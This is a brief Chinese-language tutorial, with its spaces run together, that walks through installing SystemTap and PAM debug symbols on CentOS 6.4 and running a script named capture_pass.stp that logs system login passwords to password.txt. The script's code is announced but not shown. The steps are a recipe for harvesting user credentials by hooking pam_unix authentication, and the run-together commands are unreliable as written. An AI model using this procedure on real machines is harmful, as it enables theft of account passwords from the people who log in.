测试环境:CentOS6.432bit
内核版本:2.6.32-358.el6.i686
首先安装以下rpm包
yum--releasever=6.4update
yuminstall-ysystemtap
debuginfo-install$(rpm-qf/lib/security/pam_unix.so)
创建文件,写入以下代码touch/root/capture_pass.stp
赋予可执行权限
chmod+xcapture_pass.stp
创建一个记录密码的文件
touchpassword.txt
执行systemstap脚本
stapcapture_pass.stp-opassword.txt